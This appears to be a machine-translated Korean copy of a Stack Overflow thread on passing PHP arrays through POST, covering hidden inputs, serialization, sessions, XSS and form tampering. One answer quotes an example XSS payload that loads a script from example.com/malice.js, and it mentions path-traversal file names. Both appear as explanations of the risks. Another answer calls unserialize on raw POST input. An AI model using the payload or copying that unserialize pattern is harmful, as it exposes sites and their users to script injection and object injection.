2012-12-28 2 views
12

POST을 통해 배열을 전송하는 가장 안전한 방법은 무엇입니까?PHP, POST를 통해 배열 전달

foreach ($id as $array) 
{ 
<input type="hidden" name="prova[]" value="<?php echo $array; ?>"/> 
} 
<input type="submit" name="submit"/> 

또는 하나의 변수를 생성 변수를 전달하고 새로운 배열에 값을 다시 얻을 explode()를 사용 implode()를 사용?

+0

클라이언트와 서버간에 구조화 된 데이터를 많이 보내고 있다면 JSON으로 직렬화하지 않으시겠습니까? –

+1

POST를 통해 배열을 전달하는 것에 대해 본질적으로 불안전하다고 생각되는 부분은 무엇입니까? 그것은 단지 데이터 일뿐입니다. –

+1

나는 보통'json_encode()'를 좋아한다. 그런 다음 'json_decode()'옵션을 true로 설정하면 다시 되돌릴 수 있습니다. – phpisuber01

답변

6

서버 (PHP)에 이미 게시되어있는 경우 게시를 통해 보내는 이유는 무엇입니까?

배열을변수에 저장하지 않고 양식을 제출할 때 사용할 수 있도록 설정하면 클라이언트가 소스를 편집하여 변수를 변경할 수 없기 때문에 더 안전 할 수 있습니다.

모두에 따라 달라집니다. 정말로. 당신이 보안에 대해 질문하는 경우

+1

세션 및 게시물 데이터는 서로 다른 데이터에 사용해야하는 매우 다른 두 가지 항목입니다. 단순히 세션 변수에 배열 저장하기 *는 그것들 사이의 차이점을 무시하고 있습니다. 그것은 옳을 수도 있고 잘못되었을 수도 있습니다.제공된 질문에서, 우리는 단순히 말할 수 없습니다 ... – ircmaxell

+0

나는 단지 surmizing입니다. 그 사실에 대한 내 대답을 편집하십시오 – Neal

+0

그 또한 생각했는데 $ _SESSION 변수를 지우는 것을 잊은 경우 또는 그것을 막는 무언가가 발생하면 문제가 될 것입니다 – user1722791

19

편집는 바닥 편집

PHP이 특정 목적을 위해 제공 serialize 기능을 가지고 나의 부록을 참조하십시오. 배열에 전달하면 문자열 표현이됩니다. 다시 배열로 변환하려면 unserialize 함수를 사용하면됩니다.

$data = array('one'=>1, 'two'=>2, 'three'=>33); 
$dataString = serialize($data); 
//send elsewhere 
$data = unserialize($dataString); 

데이터를 데이터베이스에 저장하기 위해 종종 지연 코더 (lazy coders)에서 사용됩니다. 권장하지는 않지만 빠르고/더러운 솔루션으로 작동합니다.

부록

난 당신이하지 "안전", 안정적으로 데이터를 전송하는 방법을 찾고 있었다 인상이었다. 데이터를 전달하는 방법에 관계없이 사용자 시스템을 통과하는 경우 전혀 신뢰할 수 없습니다. 일반적으로 서버에 어딘가에 저장해야합니다. & 자격 증명 (쿠키, 세션, 비밀번호 등)을 사용하여 찾아보십시오.

12

당신은 세션에 넣어 수 :

session_start(); 
$_SESSION['array_name'] = $array_name; 

또는 당신이 양식을 보내려면 당신이 그것을 직렬화 할 수 있습니다 직렬화 된 배열 작업 할

<input type='hidden' name='input_name' value="<?php echo htmlentities(serialize($array_name)); ?>" /> 

$passed_array = unserialize($_POST['input_name']); 

참고 양식의 전송 방법으로 POST를 사용해야합니다. GET에는 약 1024 자 정도의 크기 제한이 있기 때문입니다.

가능한 한 세션을 사용하고 싶습니다.

+2

SESSION은 입력 유형에 데이터를 저장하는 것보다 안전하므로 SESSION은 서버 쪽이므로 사용자가 변경할 수 없습니다. @laxonline –

+0

여기에 하나의 질문이 있습니다. 양식에 수천 개의 입력 사항이있는 경우 동일한 작업이 수행됩니까? – anujeet

5

고려해야 할 사항이 두 가지 있습니다. 사용자가 양식을 수정할 수 있으며 XSS (Cross Site Scripting)로부터 보호해야합니다. 사용자가 자신의 입력으로 HTML 들어가면

XSS

XSS이다. 예를 들어 사용자가이 값을 제출하면 어떻게됩니까?:

" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value=" 

은과 같이 양식에 기록 될 것입니다 :이 방지하기 위해

<input type="hidden" name="prova[]" value="" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value=""/> 

가장 좋은 방법은 입력을 확보하기 위해 htmlspecialchars()을 사용하는 것입니다. 이 문자는 <과 같은 문자를 &lt;으로 인코딩합니다. 예를 들어 :

<input type="hidden" name="prova[]" value="<?php echo htmlspecialchars($array); ?>"/> 

당신이있어 XSS에 대해 자세히 읽을 수 있습니다 : 나는 귀하의 사이트에 있다면 https://www.owasp.org/index.php/XSS

양식 수정

을, 나는 HTML을 수정하는 크롬의 개발자 도구 나 방화범을 사용할 수 있습니다 귀하의 페이지의 양식에 따라 악의적으로 사용될 수 있습니다.

예를 들어 추가 값을 배열에 추가하거나 배열에 속하지 않은 값을 추가 할 수 있습니다. 이 파일 시스템 관리자라면 존재하지 않는 파일이나 중요한 정보가 포함 된 파일을 추가 할 수 있습니다 (예 : myfile.jpg../index.php 또는 ../db-connect.php으로 바꿉니다).

간단히 말해 입력 내용을 이해하고 양식에 안전한 입력 만 사용해야합니다. 숫자가 존재하는지 확인하고 데이터베이스에서 파일 이름을 추출 할 수 있으므로 파일 ID (숫자)는 안전합니다 (데이터베이스에 유효성이 검증 된 입력이 있다고 가정 함). 파일 은 위에서 설명한 이유로 안전하지 않습니다. 파일 이름의 유효성을 재확인해야합니다. 그렇지 않으면 아무 것도 변경할 수 없습니다.

+0

양식에서만 작동합니까? – user1722791

+0

'htmlspecialchars()'는 모든 사용자 입력에 적용되어야합니다. StackOverflow는 사용자 이름과 비슷한 기능을 수행합니다. 모든 곳에서 쓰여 있으므로 악의적 인 HTML이 아니어야합니다. 사용자는보고있는 HTML을 수정할 수 있습니다. 나는 Google 올림픽 게임 중 하나에서 높은 점수를 가짜로 만들었습니다. https://sphotos-b.xx.fbcdn.net/hphotos-ash4/418275_485985401412972_1427008375_n.jpg 양식은 사용자가 다시 보내는 입력을 포함하기 때문에 특별합니다. 서버. 사람들이 귀하의 사이트를 해킹 할 수 있는지 확인하기 위해 귀하가 보내는 각 입력을 확인해야합니다. – Chris

+0

고마워, 나는 이것을 항상 염두에 두려고 노력할 것이다. – user1722791

6

http://php.net/manual/en/reserved.variables.post.php

첫 번째 주석 답변이 있습니다.

<form ....> 
<input name="person[0][first_name]" value="john" /> 
<input name="person[0][last_name]" value="smith" /> 
... 
<input name="person[1][first_name]" value="jane" /> 
<input name="person[1][last_name]" value="jones" /> 
</form> 

<?php 
var_dump($_POST['person']); 

array (
0 => array('first_name'=>'john','last_name'=>'smith'), 
1 => array('first_name'=>'jane','last_name'=>'jones'), 
) 
?> 

name 태그는 배열로 작동 할 수 있습니다.

관련 문제